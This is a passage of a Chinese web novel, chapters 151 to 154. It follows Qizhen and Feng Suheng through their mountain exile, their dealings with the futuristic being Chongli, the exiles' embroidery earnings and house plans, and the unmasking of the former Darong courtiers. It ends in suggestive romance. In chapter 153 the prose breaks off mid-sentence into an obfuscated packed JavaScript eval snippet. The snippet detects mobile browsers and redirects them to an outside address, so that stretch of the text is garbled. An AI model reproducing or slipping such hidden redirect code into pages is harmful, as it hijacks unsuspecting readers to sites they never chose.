茫然地扫视书架,就在她瞪着其中一本五秒之后,书自动飞到面前,自动打开第一页。 栖真………… 这么高科技的吗? 伸手摸,是纸张的触感。 翻页,发现每一页的页脚都有一个拇指大小的黄色按钮。 她直接按下去。 那一瞬,神奇的事情发生了!因为她脑里忽然就有了这一页的内容: 夫君子之行:静以修身,俭以养德。非淡泊无以明志,非宁静无以致远。夫学须静也,才须学也。非学无以广才,非志无以成学。淫慢则不能励精,险躁则不能冶性。年与时驰,意与日去,遂成枯落,多不接世,悲守穷庐,将复何及! 《诸葛亮集·诫子书》 明明前一秒脑里根本没有这篇文章,没有这些文字,下一秒却如此清晰地刻印进去。 这就是重离那个时代的科技水平? 栖真又翻几页,点击按钮,发现都是如此。 看来千年后将知识输入大脑的过程已经无需人工记忆。 栖真叹服,恨不得把内容全部吸收。可点击五六次后,袭来一种深度的疲倦,她又开始头痛。 下一刻,像断网一样,她被弹出灰蒙空间,再次沉入无意识中。 152. 第 152 章 栖真全须全尾地走出山洞已是两日后的事了。 一回到高山草甸就看到风宿恒。他在悬崖边遥望坟头山,人尚规整,之前吐血宛如南柯一梦。 “看得到吗?吊桥。”栖真指了指身后。她刚跨过来,吊桥就在视野里消失。 “看不到。”风宿恒道:“只见到你忽然出现。” “真像鬼片。” 和风宿恒紧紧相拥,栖真消沉,风宿恒也不说话。 回山下营地,在董未和成校怪异的眼神中,风宿恒重新整理食水,做出一套合情合理的解释,带栖真继续探路。 这次就他俩,沿边线往东走,寄希望于绕到之前的分离地,将地图画成一个闭环。 晚上露营时,栖真道:“宿恒,咱们得谈谈。” 一路上他们会说话,会讨论,但对该说的只字不提,仿佛什么都没发生。 风宿恒依树枕头,视线从残月调回,应了声好。 “重离拿你性命要挟,我不按时去见他你会面临死亡,像那日一样。” 栖真觉得经历这些,他们之间的沟通应该更直白,更贴近事实。 风宿恒坐正道:“我猜到了。” 栖真道:“所以,在没找出能反抗他的办法前,我们不要轻举妄动好吗?我不想这种事再发生一次。” 风宿恒凝视篝火,半晌才额首。 栖真托腮看他。 风宿恒的丧她能感觉到,但她更希望他说出来。 风宿恒用枝杈将地上的小木枝往火里拨:“重离救我,也能杀我,他到底用什么办法在操控我?他能操控所有人,还是只有我?” “我问过,他不说。”栖真道出这次和重离的对话,最后道:“宿恒,我说的不对请你海涵,我来猜猜你现在在想什么。” 风宿恒笑一下:“你说。” 栖真嘟嘴:“得抱着说。” 成功窝进风宿恒怀里,栖真道:“你是不是很内疚?你一定在想,我是因为救你才不得不困在山里,现在连去见重离这种事都要拿你性命要挟,让我连选择的余地都没有;你还特别沮丧!因为你特意卡着天数带我出来一试,试出来的结果让你非常非常失望,你没想到真相居然是这样的。你还很迷茫!因为你从小到大不断磨练自己,尤其在修行一事上从未落于人后,现在却发现自己性命全然握在他人之手,你没办法接受这个事实。” 栖真亲了他一口:“我说得对不对?” 好歹得顾医生辅导多年,对如何缓解焦虑多少懂得一些——把对方心声说出来,就是极有效的一招。 谁知风宿恒回亲一下,道:“都对!但我更想知道,洞中两日,你们就说了这几句话?” 栖真一愣,状似恼怒,跳起来道:“闹半天,你怀疑我和重离有奸情!” 风宿恒……… 栖真跨坐到他腿上,搂着他脖子,撒娇地在他脸上亲了一下又一下:“宿恒,好宿恒!想多了,我只和你有奸情。” 风宿恒掰正她的脸:“我们是奸情吗?是吗?” “不是不是!”栖真求饶:“是爱情,爱情!” 脑袋在他颈窝蹭:“咱俩都这样了,你瞎想什么呢?我的心在谁身上,你不知道吗?” 风宿恒被她蹭得痒,拍了拍她的臀:“我知道,我就是……” 就是男人恶劣的本性,即便吐血吐到快要死掉,都没法忍受自己的女人去见别的男人,也见不得别的男人拿爱慕的眼光看自己的女人。 栖真还在竭力开导:“别把重离当手握生杀大权的暴君,别把他看成禁锢我的元凶,我们可以把他想象成……菩萨或神明!世人去庙里拜佛时不都会许愿吗?啊,请菩萨保佑我家人一生平安,若我的愿望得以实现,我愿终生茹素,每逢初一十五来烧香添钱!重离就是那个佛,那个神!他听取我的心愿,救活我的爱人,所以我每隔五日去给他烧香,感谢他的大恩。你看,这么想,是不是就没那么郁闷?” 栖真把自己说兴奋了:“而且现在的日子,我觉得也没那么糟吧!养成类游戏在我们那儿很有市场的,我们不就是在玩养成类游戏吗?得一座山,自己开荒,把它建设到繁荣。宿恒,来想象一下,一年后、三年后、五年后这里会怎样?它还是荒山吗?我们待在宫里能做的事,在这里不能做吗?我们把此地看做囚牢,痛苦的是关在里面的人;我们把这里当做家,幸福的是住在里面的人。” 她再次亲他:“星流说你是宝藏,一辈子都挖不完的那种;我觉得我也是,一辈子挖不完的那种。两个宝藏珠联璧合,不该束手无策、以泪洗面。我们携手,能做很多事的!” 风宿恒笑出来,这次是真心笑:“真会安慰人,哪儿学来的?” 栖真拇指一翘,指向自己:“我过去也是当老板带团队的好吗?没两把刷子,易郄窦诗蒙幻能跟我混?” 风宿恒想起手机里的照片,十几个人在一起的画面,别人都看前面,唯独易郄凝视她。 这个小傻瓜呀,唉! 但经过这番话,心间的烦躁和郁闷确实消减不少。他不会因为知道重离拿他性命要挟,就彻底放弃为栖真寻找出路,但的确不该冒进,得徐而图之。而山里的生活,撇开禁锢的认知不谈,其实他并不排斥。 风宿恒收起颓丧,颠了栖真一下:“我做梦都想珠联璧合,真真要我等到什么时候?” “是谁说的?”栖真眨眼:“心意相通便好,事事道尽反而不美?” 风宿恒笑了半天,和她接一个长长的吻:“那我看着办。” 走完整圈边界都没找到出路,好在两人心态平和许多,也没表现出多大失望,又花四天踏遍腹地,终于把地图全数绘出。 第五日赶回高山草甸,风宿恒送栖真到吊桥口,让她去见重离。 “呦,这套还挺好看。” 今日重离换了灰色长袍,对襟扣,式样修身。 栖真多看两眼,好奇道:“一千年后人类的服饰为何反而复古?” 重离道:“服饰是文明的象征,文明是人类头脑中的东西。” 栖真咀嚼此话:“文明是人类头脑中的东西?” 重离道:“先有想象,再有文明。想象是基础,文明是具象的堆积。” 栖真哦了一声:“就是说你靠想象穿衣服,想穿什么就能穿什么?” 重离道:“对。” 栖真……… “难怪没看你这里有衣柜,我还在想你这些衣服平时放哪里。” “柜子用于储存,我没有需要存储的东西。” “是啊,你身无长物!只有这个山洞,还有你的高科技。”栖真没好气道:“这里也就你能住,让我住非疯不可。” “哪里不好 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所以栖真只是双手抱胸,靠着门框抿了抿唇,异想天开蹦出一句:“因为我想吃小笼!做梦都想,可就是吃不到。” 重离看她的眼神活像在看一个白痴。 栖真脸上全是回味的神色:“小笼你吃过吗?你那里有小笼吗?薄的皮,肉的馅儿,先咬一小口,吸干里面热腾腾的汤汁,然后吹一吹,一口塞嘴里,你能体会那种爽吗?” 接着滔滔不绝,从上海小笼说到苏式小笼、从南京小笼说到扬州小笼。 可这种描述对重离显然无效,这个男人没表现出任何向往,喉头都没动一下。 神明嘛……总是一如既往的高冷! 栖真扁了扁嘴,回到对面椅上坐,问:“你平时吃什么?” 重离道:“不吃。” 栖真诧异:“不吃?” “对。” “那你怎么活?” “安置舱。” 栖真惊讶:“所以你平时都不用吃东西,就靠躺在安置舱里维持生命?” 重离道:“对。” “发生什么事了?”栖真不敢置信:“上下五千年,人都靠进食存活!到你这边才多一千年,人类就嗖一下进化成神了?” 重离的眼神表明她的大惊小怪实属多此一举:“适配一种更高效的活法而已。” 栖真摇头:“一点生活的乐趣都没有,叫我宁愿不活了。” 重离道:“没人不想活。” 栖真道:“可是违背本能地活着,太痛苦了吧?” 重离道:“物竞天择,本能可以改变。” “谢天谢地!”栖真双手合十:“还好你们那儿还认可进化论。” 重离顿了一下才道:“我们践行进化论。” 出洞后栖真跟风宿恒说:“我觉得重离活得也挺可怜,除了活着,什么都没。” 风宿恒摸摸她脑袋,像要拂去些不属于他的气味:“神明还要你来可怜?” 栖真叹气:“也是。” 风宿恒揽着她往山下走:“还是想想怎么开荒吧。” 栖真抱拳:“有劳风大神出马!” 153. 第 153 章 柳絮回秀活紧赶慢赶,隔日风宿恒带绣品和董未下山时,大家甚至在营地开上赌局。 成校嚷嚷能卖一百两;英迈比他多点信心,认为至少两百两;典叔以前在宫里看得多,对绣品鉴赏比他们强,便说三百两没问题。最后还是低头扒饭的山遥,忽然扔出一句:“至少一千两。” 有了这个赌,便不止柳絮回一人心焦,大家一天干什么都不得劲,眼睛时不时往山道瞄。 只有栖真和容绽不受影响。 栖真在纸上写下《诫子书》,逐字教三个小的。容绽在边上听她念完,问:“谁之大作?” 说诸葛亮或这时代某某人,栖真生怕容绽追根究底,便道:“一个世外高人写的,怎么样?” 容绽像沉浸其中,片刻才缓缓点头:“非淡泊无以明志,非宁静无以致远……极好!” 待给孩子们讲解一遍,栖真道:“阿绽写个贴吧,让小的临摹。”说着帮他移动规尺,看他写下一篇工工整整的《诫子书》。 弟弟栾乐皱鼻:“字好多,好难写啊!” 栖真却对纸上墨宝羡慕不已:“你们现在是好好读书天天向上的年纪,如今吃得苦中苦,将来方为人上人!” 哥哥栾音道:“可我们原本就是人上人,现在还不吃着苦中苦?” 栖真语塞。 容绽搁笔:“栖真说得没错,你们用心学便是了。” 面对容绽,栾音不敢造次,写到一半才问:“栖真栖真,今天还有西游记听吗?” 风宿恒和董未回山时,就见营地里坐杌子的坐杌子,靠大石的靠大石,都在聚精会神听栖真讲故事。被围在中间的人讲得抑扬顿挫、眉飞色舞,浑然没发现他们回来了。 董未急:“栖真,别趁我不在开讲啊!” 大家站起,纷纷询问结果。就见董未脱下乔装大帽,一通扇:“别急,待我从头讲!今日我跟阿畅去了郢业……” “哪个郢业?” “就朝阳城南边那个,咱们还没去过。” “大城啊!怎跑那么远去?” “还好,阿畅马快,就两时辰。他说大城有钱人多。” 董未继续道:“我们去了茶馆,说书先生早得了稿,今日开始讲梁祝。哎,你们是没看到那场面,真是座无虚席。等讲到梁祝化蝶,先生醒木一拍,馆内哭声一片!这时小童把刺绣拿到台上,说一百两起价,价高者得。几个贵人差点为叫价打起来……你们猜猜最后喊到什么价?” “五百?” “一千?” “我猜一千五!” 董未从怀里掏出银票,往桌上拍:“自己看!” 成校离得近,上去拿起,惊得纸都掉了:“五……五……五千两?” 众人纷纷上前看银票,可不是明明白白五千两? 大家都炸了。 董未高声道:“别急别急,其实是五千五百两。那五百两阿畅给说书先生了,让他以后但凡说梁祝的场,抽赏银其二予我们。再有梁祝相关的刺绣和书,我们都借他场子卖,抽其一给他。顺带着,他会帮我们去联络周边数城的茶馆,让那些地方也说上梁祝,同样抽成。哎,你们没见那老先生,激动地都快给阿畅跪下了。” 山遥早年也是见过世面的,知道一般听书打赏也就二三十文,能给上三五两顶天了。没想到阿畅出手就是五百两,人家老先生可不要激动到磕头?这便多看阿畅几眼,觉得这人不拘小节,出手阔绰,是个做大事的,和当年…… 他掉头,暗中告诫自己,不能看谁都像那杀千刀的。 柳絮回笑得眼泪快出来,有种扬眉吐气、苦尽甘来的畅快:“五千两便五千两!阿畅出马,之后赚钱的路都铺了,厉害!” 风宿恒抱臂在人群外,闻言道:“以后阿絮继续出绣品,阿绽写的书也能付梓,找书摊售卖。单这一出梁祝,大家就能赚得盆满钵满。” 众人兴奋极了,看他的眼神都带上几分崇拜。 风宿恒却指着人群中的栖真道:“我只是个跑腿的,这些都是我家小姐的主意,你们谢她才是。” 众人这才想起,转头纷纷道谢。董未一把拉她手道:“你真厉害!” 栖真忙把手抽回来,“没有没有。” 柳絮回张罗着晚膳加了两个大菜,吃得大伙儿喜气洋洋。 董未饿得前胸贴肚皮,一碗下肚又添一碗,缓过劲才和众人商量:“今天我跟阿畅路过一家医馆,门口写着招坐堂,三日去一次便可,一月也能得百两堂银。我想去试试成吗?” 柳絮回问:“哪儿的医馆?” 以前坐堂能得几十两银子不错了,从没遇见能得百两的,董未很想抓住这次机会:“就在郢业,阿畅带我进去问的。叫局方阁,缺擅毒理的大夫,正好是我所长。” 柳絮回心情好,便不像过去那般排斥,可还是谨慎道:“郢业我们都没去过,比朝阳城还大,就怕……” 董未道:“我小心些,乔个妆,无大碍的。万一、我是说万一……我就绝在外面,不回来拖累大家。” 柳絮回使眼色,让他别说下去,只道能赚银子也是好事。 “整日待在上山也无聊,阿畅说得对,好男儿手里总得有摊事儿,才能赚钱娶媳妇。”董未含羞带怯地瞅了栖真一眼:“况且去郢业捎货结银总得有人跑,不能每次都麻烦阿畅。” 柳絮回问容绽意见,得他首肯便同意了,最终叮嘱道:“赚不赚到银子还在其次,顾好自己最重要。” 晚膳后絮回摊开本子跟栖真算账:“丝线绣架五两六钱,书册笔墨三两,得利便是四千九百九十二两九十四文。照之前说好的,赚了一起赚,亏了一起亏。获利对半拆,一方得两千四百九十六两四十七文。这些日子阿畅劳心劳力往山上送东西,他之前报于我的账目是三百二十八两,所以我们统共该给你两千八百二十四两四十七文。” 栖真见柳絮回账算得快,报数准,便笑道:“是说过赚了一起赚,亏了一起亏,可没说五五分成。” 柳絮回楞,心想主意是栖真出,卖是阿畅卖,确实该算对方大头,便道:“那你看,三七如何?” “好!”栖真正中下怀:“你七,我三。” 柳絮回啊一声:“怎是我七?” 栖真悠悠喝茶:“没日没夜刺绣赶工的是你,我又出了什么力?不过动动嘴皮讲个故事,自然你占大头。” 柳絮回道:“若无你的点子,根本赚不得这么多。” “我那点子叫创意。一般而言,一个好的创意占一件商品百分之二十到三十的利润是常态,我拿百分之三十足矣。这桩生意,本质还是实物的销售。” 说服絮回下海时,她说IP比实物重要,此刻到分钱了,她又主张重要的实物销售——反正怎么让柳絮回多赚怎么来。 旁听的风宿恒轻咳,柳絮回以为他觉得栖真要少了,栖真却知他在提醒她别把现代用语一股脑儿倒出来。 但她既存了引絮回上道的心,便不避讳,该教的还是得教! 柳絮回还想回头征求容绽意见,风宿恒适时插言:“毡帐军中兄弟匀的,不花钱;那些吃食,我和小姐享了各位诸多照顾,就不用算了。” “要不这样。”栖真立时跟进:“每次赚钱,照你七我三入户作日常开销,下山采买用此账户,不够再添。” 他们只有两人,对方却有十六人,即便按人头算,栖真出三也是多给。絮回还待再议,风宿恒适时发挥“粗人”本色,一拍身下石头:“婆婆妈妈做甚,就这么定了!阿絮答应过赚了钱就造房子,现下咱们合计合计怎么造才是正经。” 他拿格子灯到桌边,摊开地图,招人来看:“这是山域全貌。我们在这儿,这里是草甸峰,这里是三峰溪。过了这溪往北二里有片地势开阔的山谷,在四峰环绕间。” 风宿恒继续往北指:“翻过这座峰就出山界了,接壤的是付春和小陈国。” 栖真心想当时自己好歹入了沙漠,谁知妖风一吹,竟将她卷至大荒流的西北边界。此山西临辛丰,北面居然就是付春和小陈国了。 不过这样也好,离付春近,吹她是付春人也不违和。 “西边多野林,多水网,这边有一方大湖,汇聚上游来的河流。而东边多高山,多瀑布,山峰林立,路不好走。” 地图绘制地很详细,众人也是首次看清这片山脉的全貌,琢磨半天,最后还是絮回以商量的口气道:“好像还是选草甸峰较好,离水源近。北边的山谷看着不错,但离最近的河流还有距离。” 风宿恒赞同:“住山顶兴许我们只需架水车;住山谷,从长远计,只怕得挖河道了。” 絮回笑:“水车我都没想过,咱们每日上山下山挑水都不在话下,住到山顶,离三峰溪更近,到反而提不得水了?” 风宿恒不争辩这个,抽出白纸,举笔画下一个圈:“我和栖真想住草甸峰的西边,你们呢?” 絮回原以为是造间大屋,大家挤一挤,没想听阿畅之意竟要人手一户,心头不由盘算,这点银钱怕是远远不够吧。 风宿恒看出她心思,直白道:“营造乃大支出,我的意思,规划好山顶地方,各凭财力造便是。” 栖真对他挤眼,生怕他这么回,和絮回他们显得生分。 风宿恒权当没看见,他就压根不想在住的方面委屈她,是以据理力争。 “我们既独门独户,又是一个村落。中间建个大屋,供大家聚首喝茶。北边建茅厕浴堂,南边留来开垦种树。虽说可以山下购粮,但毕竟住在山上,万一哪日下不得山,还得自给自足。而菜地上边,这里,留作仓储鸡笼之用。”风宿恒边说边在纸上刷刷几笔,一看便是早就想好的:“山顶地方大,别说盖几栋房,屯军都绰绰有余。些许漏想随时能改,主要是看你们,想在哪边盖房?” 众人各出主意。栾乐和栾音兴奋到跳,大叫要有房子住啦!倒是柳絮回沉默不语。 她原本即便同意造屋,也没想搞那么大,如今有些骑虎难下,踌躇半天,指了指草甸东边:“我们还是这处吧,但造几间得再想想。阿畅可估得出一间房舍所需花费?” 风宿恒见她指东边,暗松口气,道:“两种。一种木材石材山下采买上山,找匠人便可开造;还有一种就地取材,梁木山里伐,砖石开窖烧,省了脚力,但用时颇长。”想了想又道:“我可找人低于市价入些木材石材。至于匠人队,要去城里好好找。营造之事可奢可简,量力而行吧。” 等栖真和风宿恒回山顶,大家还在秉烛夜谈。经历五年流离失所,如今也算找到落脚地。过去他们日日住着画栋雕梁,何曾忧虑过住所问题,现下却为即将有茅屋栖身兴奋到彻夜难眠。 董未想着得去郢业拿下坐堂一职,临天亮才打个盹,借了马,乔了装,独自下山去那局方阁。 好歹皇家太医院出身,医术拿到民间坐堂绰绰有余,当日便入了聘,至申时下堂去,约定三日后再来。 茶馆就在局方阁边上,说好每隔六日去收分成赏银,今日他便在门口张望,见堂上果然又讲梁祝,堂下比昨日人多,看得他高兴不已。掉头走时却见对面有户人家骂骂咧咧,粗鲁地推一汉子出门,随后大门嘭一声关上。 董未见那起身叫骂的汉子有些眼熟,犹豫着终是上前细看,果是熟人! “你是皇工队的祁……?” 一听“皇工队”三字,汉子身体僵了僵,不敢置信地看来。 ………… 今日栖真教孩子们《陋室铭》,删了“南阳诸葛庐,西蜀子云亭。”,将孔子云改成高人云。 容绽誊写完,道其中“谈笑有鸿儒,往来无白丁”这句写得极畅意,栖真不着痕迹鼓励他两句,说这篇也是那位世外高人的大作。 午后又是西游记专场,如今大伙儿每日追更兴致正高。栖真问容绽可否也像梁祝那般把《西游记》写下来,后者自然肯应。于是她和容绽各占桌边,一说一写,下面围一圈人听书的场面便固定下来。 一下午说得栖真口干舌燥,接过风宿恒递来的水正要喝,忽听山道上传来洪亮哭声:“殿下!” 就见一陌生汉子跑来跪倒桌边,对容绽放声大哭:“殿下啊!五年了!终于找到你了!” 栖真吓得呛水,捂嘴起身退开。 容绽也没反应过来,楞楞坐在原地。 那汉子咚咚磕头:“殿下不记得属下了吗?皇工队祁南英啊,殿下千林镇除蛊,是小的率队前来支援,殿下还记得吗?” “祁南英……”容绽这才想起,忙伸手扶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266778|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人:“你怎么……” “我在山下遇到祁大哥,他得知我们在山上,非要跟来拜见。”身后跟来的董未道。 柳絮回狠狠瞪董未一眼,急道:“这位大哥莫要认错人,还请借一步说话。” 这时就听旁边插进一个声音:“千林镇除血蛊,是五年前那场大容浩劫吗?你唤阿绽殿下,小的斗胆一猜,可是前大容的神官长洛尘殿下?” 出口这话的,正是靠着树干抚下巴的风宿恒。 柳絮回急:“不是!别听他瞎说,阿绽不是什么神官长。” “那就是被人掉包的太子殿下容聘?”风宿恒老神在在哦了一声,道:“皇工队听说过啊,大容转司营造的皇家御用队,九卿司工麾下的一支。” 柳絮回一听司工两字,脑里一炸,正想否认,便见祁南英转而对她行大礼:“柳部像,姑娘可是司工千金柳部像?你、你们……真让人好找啊!” 多少年没听人称她部像了,柳絮回愣怔站着,都忘了驳。 风宿恒哎呀一声:“原来和我们同住的都是大人物,真让人诚惶诚恐。前大容同样亡于辛丰太子之手,咱们真有缘,宿敌都是同一个!” 话至此,众人喟叹。柳絮回倏忽落泪,慕容抱她安慰,待情绪好转,便觉得再瞒着栖真他们也没必要了,当下和祁南英分坐,各叙别情。 大容国破后,前朝旧部分成两股,一股愿意归降新朝,留任原职。另股抵死不从,贬为庶民。祁南英便是不愿归顺的,带着老婆孩子早早离开金光万丈城,生怕如今执掌权柄的大容王朝令夕改,又祸害遗臣性命,这些年隐姓埋名离开大容,只做些家宅营建生意,糊口饭吃。 可他之前虽比不得九卿权势滔天,毕竟也是为官的,受不得街坊邻里对下九流的工匠呼来呵斥的腌臜气,一摊事并不顺利,经常收不回工钱。今次见着董未,正被主家该收的账对半砍后赶出来。他一大容遗民,夹缝里求生,哪敢去告官,何况是辛丰的官。所以每每遇到这种事,只好打落牙齿和血吞。 说到这里祁南英破口大骂:“小人活得再窝囊也忠于大容!哪像那狗娘养的尚可薪,向敌人卑躬屈膝,毁节求生,做了大容王的宰相!” 栖真……… 尚可薪? 做了大容王的宰相? 这一节怎没听宿恒提过? 她看向身边人,风宿恒感知到她的目光,转头给了一个浅笑,继续听场上。 “还有那司财司户也是软骨头,说是不情不愿,结果还不是留在新朝!” 祁南英认识柳絮回只因她是上峰之女,对山遥和英迈的印象却极浅薄,是以根本没认出司财和司户之子也在当场,只把他们的爹骂个狗血淋头。 英迈如坐针毡,山遥却面无表情任他骂。 此时只听一座毡帐中传出一老者猛烈的咳嗽,夹着厌恶的一声:“呱噪!” 虽阔别经年,祁南英还是一下认出这个苍老的声音。 曾经,这个声音的主人在大容朝和皇帝几乎并驾齐驱,乃国人心中神祗,代表神明的圣人。 祁南英震惊地看了看容绽和柳絮回,两步跪倒在毡帐前:“大神官殿下!” 容绽轻轻叫了一声阑珊,阑珊上前揭开帷帐,祁南英便见到了帐里人,惊恐失声:“殿下!” 怎么都没想到不过五年,这位神祗竟憔悴至此,虽头发梳得齐整,但脸上纵横的皱纹让他显得枯瘦,盖着被子的身体明显异样,大腿下竟像全不存在。 容伯舒转脸看来,眼球浑浊,面有怒容:“大神官?哪还有大神官?小子乱言!” 祁南英惶恐磕头:“殿下,是南英不敬。” 容伯舒颤悠摆手:“收声……收声。” 阑珊对祁南英小声道:“大爷爷需要静养,听不得声响。”当下放下帷幕,请祁南英去原位坐。 祁南英失魂落魄,怎么都不敢相信,一时唏嘘,难以接受。 这便赶忙问起,他们这几年究竟怎生遭遇。 柳絮回看了看容绽,见他不做声,便接话道:“当年那奸贼将两位殿下囚禁在杀魄池,我们几个九部像设法将他们救出后逃出皇宫,这几年东躲西藏,日子过得实在比那过街老鼠还不如。” 祁南英疑惑:“可殿下的眼睛,还有大神官的腿,是怎么回事?” 柳絮回泫然欲泣:“那奸贼不放过我们,竟放出风去,说大容宫中有绝世良药,只需将九部像的心挖出做药便有起死回生之效。是以这几年我们的画像流传甚广,成了众矢之的,经常找到地方落脚就立马迎来追杀。我们原有三十多人,如今死的死,失踪的失踪,只剩我们几个了。” 将九部像挖心做药…… 栖真瞪大眼看向风宿恒。 谁知这次他却听得认真,并未注意旁边。 “一年前我们躲入璞丽山中,谁知队里有个姑娘出去采买,不着意引来人。都是落山为寇的绿林,想捕获我们做药献给大容王。大爷爷的腿便是那次没的,阿绽的眼睛也被毒粉毒瞎。那次,我们逃出来的一半人都不到。” 话音落,营地里一片沉寂,不过几句话,却字字啼血,述说曾经的境遇。 柳絮回擦了泪:“不过现下好了,我们躲进大荒流,死亡鬼蜮恶名在外,应当不会再有人涉入险地。所以我们想在山上盖个房子,能安定下来便好了。” 祁南英激动道:“是,一路上我听董太医说了。我、我可以……我可以帮大家造房子。” 对啊,祁南英皇工队出身,造房子对他来说不是本职? 柳絮回犹豫:“祁大哥就一个人吗?” “不,不。”祁南英道:“我手下木匠、瓦匠、工匠,三十来号人,我可以带他们过来。” 这真是天大的好消息! 他们要造房子,就找到了能造房子的人。况且此人还是大容旧部,满腔忠诚,绝不可能出卖他们。 董未一开始也想到这出,才决定把祁南英带上山。 后面絮回和祁南英商量营造之事栖真都没再关注,用过晚膳沐了浴,和风宿恒回山巅休息。这两日风大,燃不起篝火了,风宿恒点了格子灯,和她钻进毡帐。 两人分帐而眠,但睡前总要说说话。 而今晚,栖真确有满腹事要问他。 154. 第 154 章 两人在帐中躺下,果然听栖真问:“九部像挖心做药是怎么回事?” 风宿恒如实道:“我也是前几日才知,当年柳絮回组织人手劫狱出逃,钟雄怕放任他们回民间夜长梦多,容易形成反势,是以放出风去。” 栖真皱眉:“好一招借刀杀人。” “只是牵制。”风宿恒静了片刻,道:“他其实…没有做错。” 栖真沉默。 风宿恒侧身面对她,凝视她清透的眼:“总要让你知道,若大容不是有沈兰珍、有你,若大容只如我以前侵占的国家,我断不会心软,更无须借刀杀人。你对山下那帮子人好是因为愧疚。可我对他们好只是因为你,不是为的什么占了他们国家过意不去。” 栖真明白的,风宿恒并非残暴之人,可他有自己的阶级属性。身处封建时代,又是皇子,意识形态难以改变。 意识形态这东西就像顽疾,若能轻易改变就不会有美苏冷战,不会有中美竞争,联合国都没必要存在! 又不由想到,九部像是这般下场,而对那些他“不会心软到借刀杀人”的城邦,统治者们又是怎生结局? 她似乎没有立场去谴责什么,可心头终究沉重几分。 风宿恒见栖真无言,一把抱住道:“真真,跟你说这些只是不想骗你。我答应你收手,现下我只有一个心愿,便是长长久久守着你。” “那昨晚咱们说的,各让一步呗。”栖真拍他背,将惆怅压下,旧事重提。 说起这桩风宿恒就不愿意:“好不容易可以造房子,还不让你住好些,我过不去。” “过得去、过得去。”栖真顺他胸口:“我就是不想咱们住的和絮回他们的差距太大,大家差不多才不会隔阂。况且开荒嘛,别想着一步到位,以后有的是机会慢慢升级。” 风宿恒擒住胸口的手,再撸下去他要乖乖投降了,可他还想撑一撑,嘴上不肯让步:“不想你洗个澡还要被虫吓,不想你睡个觉还要听风声。” “造个过得去的房子,遮风避雨没有虫就可以了。”栖真要求不高。 “寒门陋室配得起我的公主?”风宿恒将她手举到唇边亲:“别说什么山不在高有仙则名,糊弄容绽的别来糊弄我!” 这是他第一次唤她“公主”,栖真心间一动,竟有股莫名的熟悉,正待细想,见他亲着亲着竟将她的食指含进嘴里。 再让风宿恒撩下去,她非缴械不可,忙把手抽回,凶道:“反正这事得听我的!” 不等风宿恒开口,她立马转移话题,仿佛盖房的事已经一锤定音,就听栖真问:“尚可薪又是怎么回事?” 风宿恒无奈地看着她,躺平道:“那时想着不能让旧朝遗臣尽去,否则乍然接手大容不好治理。所以或怀柔、或威胁留下些人。尚可薪是可造之材,他愿留下是为着我许下的承诺。” “什么承诺?” “他全心辅佐,我必让他在十年内看到一个比之前好十倍的大容!” “所以他不是叛,他是为大容百姓留下的?”栖真对尚可薪有好感,城门一别不知他怎样,没想今日得他消息,心里也是高兴。 便听风宿恒道:“这些年他做事勤恳,堪为良相。有他和钟雄一文一武辅佐,我才能抽身,不在朝中也无大碍。” 栖真回想过去,现出笑意:“尚可薪是能人,我出征那会儿得他诸多襄助。” “我们便是从他口中得知你的事。”风宿恒感慨:“也因他当初得你授意把钟雄骗得团团转,这两人至今不对付。” “钟雄为难他?” “为难说不上。”风宿恒道:“就是见了面,谁都不给谁好脸色看。” “真作孽。”栖真翻个身,压在风宿恒身上,用指头挑他下巴:“祁南英这出,又是你安排的吧?” 风宿恒笑出声,捏她脸颊:“什么事瞒得过你?” “你借着带董未下山引他去医馆,让他顺理成章遇见祁南英。我们正愁工匠呢,董未自会带他上山。宿恒,你就是想让祁南英揭开絮回他们身份。” 风宿恒解释:“这群人不肯自曝,于我们总是后患。万一哪日你脱口一句“絮回”,又少不得花精力补救。大家往长久处,这刺得尽早拔。” 栖真想了想:“其实你也可以借口找工匠,自己带祁南英上山,但这么一来未免让人疑你,毕竟随便一找就找到前朝人的概率实在太小。所以你特意让董未带他来,就为了让他们自己挑明,这便疑不到我们头上。这事看似和你没半点干系,实则背后处处是你。风宿恒……奥斯卡就欠你一座小金人!” “连名带姓叫我就没好话。”他还不知道她? “一石二鸟呢。”栖真掰着手数:“找到可以造房的工匠,又揭开故人身份。” 谁知风宿恒掰她第三根指:“一石二鸟哪够,一箭三雕才对。” 栖真问还有哪个,就见他神秘兮兮不肯说,反而戳了戳她。 “你又——?”栖真恼羞成怒。 风宿恒不让她下去。 栖真立马求饶:“宿恒~!” “探山疲累,这两日休息好了?” 一看他变得幽深的眼眸,栖真就知道他在想什么:“没……” 风宿恒亲她:“明日人都住上来,一开工,两三个月没独处了。” “可你说过……” “我不……”风宿恒在她耳边吐出两个字,果不其然见栖真把脑袋贴着他不敢抬头,风宿恒笑出声:“给你又看又摸的,你到底喜欢还是不喜欢?” “不带问这个的!”栖真无力道。 风宿恒哪管她娇嗔:“喜欢还是不喜欢?” 栖真只好老实回答:“喜欢。” “你不知……”风宿恒状似惆怅:“我多怕你对着我也说出一句‘恶心’。” “不会!”栖真摇头。 风宿恒翻身,将人压在身下:“有多喜欢?” 栖真不想自己说过的话伤害到他,只好嚅嗫道:“就是…很喜欢啊。” 风宿恒居然问:“最喜欢哪个?” 栖真…… 风宿恒不知发什么神经,用力压着她索要答案:“说啊,真真。” 栖真只好眨巴眼睛:“脖子、肩、胸、腰、腹、腿……” 风宿恒坏笑着顶她:“这个…不喜欢?” 栖真…… “这个喜欢吗?”风宿恒耳朵凑到她嘴边:“天不知地不知,悄悄说给我知。” 栖真只好在他耳边吐了两个字。 风宿恒心神荡漾:“两个字不行,得六个字。” 栖真浑身燥热:“没有了,不会了。” “教你。”风宿恒咬着她耳朵送了句话。 栖真脸红到死,抵死不从:“死不要脸!” 风宿恒:“房中情趣,要什么脸?” 栖真锤他:“世人只道辛丰大皇子不近女色,谁知这么色!” “大皇子不近女色……”风宿恒道:“就为了对你色。” 栖真凶道:“你清心寡欲多年,哪儿学来这套?” “我需要学?”风宿恒一脸纯良:“对着你无师自通。” 